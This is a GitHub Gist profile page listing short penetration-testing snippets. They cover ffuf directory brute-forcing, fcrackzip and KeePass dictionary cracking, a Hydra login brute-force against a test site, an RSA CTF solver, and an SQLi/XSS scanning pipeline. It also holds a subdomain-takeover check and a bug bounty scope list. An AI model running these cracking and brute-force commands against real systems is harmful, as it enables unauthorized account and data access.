Skip to content

Instantly share code, notes, and snippets.

View RajChowdhury240's full-sized avatar
💻
just another learner

Raj Chowdhury RajChowdhury240

💻
just another learner
  • Confidential
  • $ aws sts get-caller-identity
  • 17:09 (UTC +10:00)
View GitHub Profile
@RajChowdhury240
RajChowdhury240 / FFUF.sh
Created February 22, 2021 03:11
directory bruteforcing Script
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://target/FUZZ
@RajChowdhury240
RajChowdhury240 / url-shortner.py
Created February 26, 2021 08:00
a small python script which sortens URLs
import pyshorteners
link = input("enter the link : ")
shortener = pyshorteners.Shortener()
x = shortener.tinyurl.short(link)
print(x)
@RajChowdhury240
RajChowdhury240 / zip-file-password-cracker.sh
Created February 26, 2021 18:30
a simple script to crack password protected zip files
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' file.zip
@RajChowdhury240
RajChowdhury240 / crack-rsa.sh
Last active April 3, 2021 20:37
RSA Solver
git clone https://github.com/Ganapati/RsaCtfTool
cd RsaCtfTool
pip install -r requirements.txt
python ./RsaCtfTool.py -n 6823097956559906304718047559434503772935670794168872682087986860491266565197938988585578012131795379682740793915178580560097648572207445450501957620442660379247761L -e 65537 --uncipher 484661494807973176484841550022162356056969394230726278907827156279573785417739620605749085238379352332325669223692676583758711843467179784519220209212809010990483
@RajChowdhury240
RajChowdhury240 / web-login-form-bruteforce.sh
Created March 16, 2021 04:42
crack web login forms using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form "/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout" -vV -f
@RajChowdhury240
RajChowdhury240 / DutchGov.txt
Created March 16, 2021 04:44
Dutch Government Bug Bounty Scope
0800-8051.nl
0900-8844.nl
09008844.nl
112test.nl
1813-2013.nl
1meter35.nl
2013russiaholland.nl
247bz.nl
8000488.nl
8007000.nl
#!/bin/sh
# Usage: ./crack-keepass.sh passwords.kdbx dict.txt
#
# The dictionary file can be generated with:
# https://github.com/TimurKiyivinski/permutatify
while read i
do
echo "Using password: \"$i\""
@RajChowdhury240
RajChowdhury240 / .bash_profile
Created March 22, 2021 17:35
SQLi & XSS Vulnerability Scanner
###
# ▶ go get -u github.com/lc/gau
# ▶ go get -u github.com/tomnomnom/qsreplace
# ▶ go get -u github.com/tomnomnom/hacks/kxss
# ▶ go get -u github.com/hahwul/dalfox
# ▶ git clone https://github.com/dwisiswant0/DSSS
###
gauq() {
gau $1 -subs | \
@RajChowdhury240
RajChowdhury240 / subjack.sh
Created March 24, 2021 06:51
Sub Domain Takeover
# Install
go get github.com/haccer/subjack
# Basic usage
./subjack -w subdomains.txt -t 100 -timeout 30 -o results.txt -ssl
@RajChowdhury240
RajChowdhury240 / webscreenshot.sh
Created March 24, 2021 06:52
A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script
# Clone
git clone https://github.com/maaaaz/webscreenshot.git
# Basic usage
python webscreenshot.py -i list.txt -w 40